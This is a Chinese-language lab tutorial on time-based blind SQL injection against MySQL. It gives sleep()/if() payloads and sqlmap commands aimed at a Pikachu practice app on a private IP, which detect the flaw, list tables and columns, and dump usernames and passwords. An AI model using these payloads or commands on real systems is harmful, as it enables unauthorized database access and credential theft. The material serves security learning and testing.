时间注入
原理分析
时间注入又名延时注入,属于盲注的一种,通常是某个注入点无法通过布尔型注入获取数据而采取的一种突破注入的技巧。
在MySQL里函数sleep()是延时的意思,sleep(10)就是数据库延时10秒返回内容。判断注入可以使用’and sleep(10)意思是数据库延时10秒返回内容值(页面响应时间至少为10秒)
MySQL延时注入用到的函数sleep()、if()、substring() select if(2>1,sleep(10),0)2>1这部分就是你注入要构造的SQL语句。
select if(length(database())>1,sleep(5),0)这个就是查询当前数据库长度,如果成立网页就大于5秒返回,如果不成立就立即执行 根据这个原理n>1,n不延时就可以确认当前数据库的长度
黑盒模式下的时间注入
在黑盒模式下常使用sqlmap来对注入进行检测(sqlmap支持多种数据库注入,而且支持多种注入方式)
1.打开kali里的sqlmap
输入sqlmap
sqlmap设置具体SQL注入技术
参数 --technique 此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行 检测。 此参数后跟表 示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
2.判断是否存在时间盲注
sqlmap -u"http://192.168.233.152/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -batch
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
–technique=T 检测方法为时间注入
3.获取用户名和当前数据库
sqlmap -u"http://192.168.233.152/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db -batch
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动y
4.获取当前数据库中所有的表
sqlmap -u"http://192.168.233.152/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu -batch
5.获取到表中的字段
qlmap -u"http://192.168.233.152/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu -batch
获取字段的重要信息
sqlmap -u"http://192.168.233.152/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C"id,username,password" -T users -D pikachu -batch